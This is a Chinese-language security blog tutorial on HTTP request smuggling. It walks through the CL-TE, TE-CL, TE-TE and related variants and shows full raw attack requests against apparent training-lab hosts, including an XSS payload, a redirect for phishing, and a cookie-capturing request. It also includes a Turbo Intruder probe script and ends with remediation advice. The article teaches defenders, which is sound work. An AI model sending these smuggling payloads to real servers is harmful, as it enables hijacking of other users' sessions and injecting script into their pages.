淺析HTTP資料接收不同步攻擊

是一哥嘛發表於2020-04-16

如今攻擊手段日益層出不窮,另企業防不勝防,因此企業不能再以原有的防守思維去防守。基於攻擊者的視角,瞭解攻擊者的攻擊手法才能更好地做好防守。本次介紹的是攻擊者常用的一種攻擊手法”HTTP請求走私”,它可以使攻擊者能夠繞過安全控制,未經授權訪問敏感資料並直接危害其他應用程式使用者。本文由錦行科技的安全研究團隊提供,旨在透過剖析”HTTP請求走私”的攻擊過程,幫助企業進一步瞭解攻擊者的攻擊思路,做好應對 策略。

1.什麼是HTTP請求走私

在複雜的網路環境下,不同的伺服器以不同的方式實現RFC標準,利用前後端伺服器對資料包的邊界瞭解不一致的情況下,向一個請求資料包中插入下一個請求資料包的一部分,在前端伺服器角度看來,它屬於一個完整的請求, 而在後端伺服器看來,它屬於兩次請求,前端請求的一部分被後端伺服器解釋為下一個請求的開始。因此,它使攻擊者可以繞過安全控制,未經授權訪問敏感資料並直接危害其他應用程式使用者。

2.產生的原因

在HTTP1.1後,增加了一個特殊的請求頭Connection: Keep-Alive,建立tcp持續通道,進行一次tcp握手,就能傳送多個請求。但這樣子只能是請求一次響應一次。為了提高資料傳輸的效率,減少阻塞。後來就有了HTTP Pipelining(管線化)欄位,它是將多個http請求批次提交,而不用等收到響應再提交的非同步技術。如下圖就是使用Pipelining和非Pipelining

這意味著前端與後端必須短時間內對每個資料包的邊界大小達成一致,否則,攻擊者就可以構造傳送一個特殊的資料包,在前端看來它是一個請求,但在後端卻被解釋為了兩個不同的HTTP請求。這就導致攻擊者可以在下一個使用者傳送的合法資料包前惡意新增內容。如圖,走私的內容(”字首”),以橙色突出顯示:

假設前端考慮的是內容長度頭部(Content-Length)值作為資料包結束的邊界,後端優先考慮的是Transfer-Encoding頭部。那麼從後端角度看,如下圖藍色部份字型屬於一個資料包,而紅色部份字型屬於下一個資料包的開始部份。這樣就成功從前端’走私’了一個資料包。

3.攻擊類別

3.1.CL不為0的GET請求

假設前端代理伺服器允許GET請求攜帶請求體,而後端伺服器不允許GET請求攜帶請求體,它會直接忽略掉GET請求中的 Content-Length頭,不進行處理。這就有可能導致請求走私。

比如傳送下面請求

GET / HTTP/1.1

Host:example.com

Content-Length:44

GET /socket HTTP/1.1

Host: example.com

前端伺服器透過讀取Content-Length,確認這是個完整的請求,然後轉發到後端伺服器,而後端伺服器因為不對Content-Length進行判斷,由於Pipeline的存在,它認為這是兩個請求,分別為

第一個

GET / HTTP/1.1

Host: example.com

第二個

GET /socket HTTP/1.1

Host: example.com

則相當於走私了請求

3.2 CL-CL

在RFC7230規範中, 規定當伺服器收到的請求中包含兩個 Content-Length,而且兩者的值不同時,需要返回400錯誤。但難免會有伺服器不嚴格遵守該規範。假設前端和後端伺服器都收到該類請求,且不報錯,其中前端伺服器按照第一個Content-Length的值對請求進行為資料包定界,而後端伺服器則按照第二個Content-Length的值進行處理。

這時攻擊者可以惡意構造一個特殊的請求,

POST / HTTP/1.1

Host: example.com

Content-Length: 6

Content-Length: 5

123

A

CDN伺服器獲取到的資料包的長度6,將上述整個資料包轉發給後端的伺服器,而後端伺服器獲取到的資料包長度為5。當讀取完前5個字元後,後端伺服器認為該請求已經讀取完畢,然後傳送出去。而此時的緩衝區去還剩餘一個字母 A,對於後端伺服器來說,這個 A是下一個請求的一部分,但是還沒有傳輸完畢。此時恰巧有一個其他的正常使用者對伺服器進行了請求,則該A字母會拼湊到下一個正常使用者請求的前面,攻擊在此展開。

3.3 CL-TE

所謂CL-TE,顧名思義就是收到包含Content-Length和Transfer-Encoding這兩個請求頭d的請求時,前端代理伺服器按照Content-Length這一請求頭定界,而後端伺服器則以Transfer-Encoding請求頭為標準。

構造資料包

POST / HTTP/1.1

Host: example.com

Content-Length: 16

Transfer-Encoding: chunked

0

chunkedcode

前端伺服器處理Content-Length頭並確定請求主體長度為16個位元組,直到chunkedcode

結束。此請求將轉發到後端伺服器。

後端伺服器處理Transfer-Encoding標頭,因此將訊息體視為使用分塊編碼。它處理第一個塊,它被稱為零長度,因此被視為終止請求。緩衝區內還剩下chunkedcode,由於存在pipeline技術,後端伺服器將這些位元組視為佇列中下一個請求的開始。

在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。

注意:需要傳送兩次請求

3.4 TE-CL

這種情況則屬於前端伺服器處理Transfer-Encoding請求頭,而後端伺服器處理Content-Length請求頭。

構造資料包

Host:example.com

Content-Length: 3

Transfer-Encoding: chunked

chunkedcode

0

注意0後面加兩個\r\n

前端伺服器處理Transfer-Encoding請求頭,因此將訊息體視為使用分塊編碼,處理第一塊時,有11個位元組,直到chunkedcodede的最後一個位元組。開始處理第二個塊,第二塊是0個位元組,視為終止請求。此時把請求轉發到後端。而後端則在11處完成了對第一個資料包的讀取,chunkedcode\r\n0為下一個資料包的開始部份

在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。

注意:需要傳送兩次請求

3.5 TE-TE

前端伺服器處理第一個Transfer-Encoding請求頭,後端伺服器處理第二個Transfer-Encoding請求頭.

構造資料包

Host:example.com

Content-length: 3

Transfer-Encoding: chunked

Transfer-encoding: error

chunkedcode

0

這裡是用了兩個Transfer-Encoding 欄位,並且第二個 TE 欄位值為錯誤值,這裡 前端伺服器選擇對第一個 Transfer-Encoding進行處理,整個請求正常,原封不動轉發給後端伺服器,而後端伺服器則以第二個Transfer-Encoding 欄位進行優先處理,而第二個Transfer-Encoding 欄位非標準值,根據RPC規範,則會取Content-Length欄位進行處理,這樣這個請求就會被拆分為兩個請求。

在做之前記得要把 BurpSuite 的自動更新 Content-Length 功能取消了。

注意:需要傳送兩次請求

4.攻擊擴充套件

4.1.smuggling+reflected xss

單純的UA處的xss並沒有什麼危害,但可以結合請求走私攻擊進行利用來提升危害

我們可以構造以下資料包,只要傳送一次

POST / HTTP/1.1

Host: acc01f221f0e5490815e020800d200d8.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=k3jXNrcQioQOdiLYyRXPJVf5gHZykEl8

Content-Type: application/x-www-form-urlencoded

Content-Length: 150

Transfer-Encoding: chunked

0

GET /post?postId=3 HTTP/1.1

User-Agent: “><script>alert(1)</script>

Content-Type: application/x-www-form-urlencoded

Content-Length: 5

x=1

會在該網站的任意頁面觸發xss,因為在http序列中,走私的請求會插到使用者對網站的請求前面

4.2 direct+smuggling

該場景基於url跳轉,把使用者重定向到一個固定網頁,lab為我們提供個跳轉api,/post/next?postId=3路由跳轉到的是/post?postId=4。

此時我們可以利用走私攻擊並配合重定向進行釣魚.

傳送以下資料包一次:

POST / HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Connection: close

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36

Sec-Fetch-Dest: document

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: session=Rmtn44vZ2BeGqD1ToPbAYrcDS0UiIKwQ

Content-Type: application/x-www-form-urlencoded

Content-Length: 178

Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1

Host: ac501fd21fceba4f80de460400140045.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 10

x=1

然後訪問原網站任意頁面,都會被重定向到/post?postId=4

4.3竊取使用者請求

利用走私攻擊捕捉使用者請求資料包,竊取cookie

我們在傳送評論處的api介面構造請求包如下

傳送以下資料包

POST / HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Connection: close

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

Content-Type: application/x-www-form-urlencoded

Content-Length: 343

Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1

Host: ac671f031fa2e9ba80ffdc2d00690027.web-security-academy.net

Content-Length: 600

Content-Type: application/x-www-form-urlencoded

Cookie: session=7fnaaemuD32ZqUPyB6EGVA8vOL8wwz8p

csrf=aeITUnejzQ7XRUTUiEWl4X6ckwPt8TWc&postId=2&name=1&email=123%40qq.com&website=https%3A%2F%2F

成功把使用者的請求拼接到走私請求的comment引數上,如下圖

5.案例

該案例利用的是CL-TE的攻擊方式。根據RFC,當Content-Length和Transfer-Encoding兩個標頭同時出現在同一請求包時,Transfer-Encoding始終被優先處理。但是,如果Transfer-Encoding標頭格式錯誤,則前端伺服器和後端伺服器之間的對請求的解釋可能會有所不同。在該站點上發現的CLTE問題是,在請求包中Transfer-Encoding 和:之間加多一個空格,使該欄位的格式為非標準值,此時前端伺服器依據RPC規範,優先處理Content-Length,而後端伺服器並沒嚴格遵守RPC規範,以Transfer-Encoding為依據進行處理資料包。

惡意請求的說明:

可見使用者的正常請求被拼接到X欄位,而X請求頭非標準請求頭,故忽略,而該使用者的cookie欄位也被拼接到了該走私的請求上

在Burp Collaborator Client上能成功竊取到使用者的cookie

6.測試工具

在burpsuite上查詢到請求包,右鍵lauch smuggle probe,隨後在burpsuite的掃描結果上顯示報告

進一步確定漏洞

右鍵點選”smuggle attack(CL.TE)”

出現Turbo Intruder指令碼

# if you edit this file, ensure you keep the line endings as CRLF or you’ll have a bad time

def queueRequests(target, wordlists):

# to use Burp’s HTTP stack for upstream proxy rules etc, use engine=Engine.BURP

engine = RequestEngine(endpoint=target.endpoint,

concurrentConnections=5,

requestsPerConnection=1,

resumeSSL=False,

timeout=10,

pipeline=False,

maxRetriesPerRequest=0,

engine=Engine.THREADED,

# This will prefix the victim’s request. Edit it to achieve the desired effect.

prefix = ”’GET /hopefully404 HTTP/1.1

X-Ignore: X”’ //走私一個uri為/hopefully404的請求包,下一個使用者的請求會拼接到X-Ignore欄位後面,因此要是存在走私漏洞,則會返回一個狀態碼為404的資料包

# The request engine will auto-fix the content-length for us

attack = target.req + prefix

engine.queue(attack)

victim = target.req

for i in range(14):

engine.queue(victim)

time.sleep(0.05)

def handleResponse(req, interesting):

table.add(req)

點選”attack”進行測試

看到存在404狀態碼的資料包,說明存在http走私漏洞

修復方案:

1、前端伺服器對前段輸入規範化

2、前端伺服器使用HTTP2.0

3、後端伺服器丟棄非正常請求

來源:搜狐


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69946594/viewspace-2686572/,如需轉載,請註明出處,否則將追究法律責任。

相關文章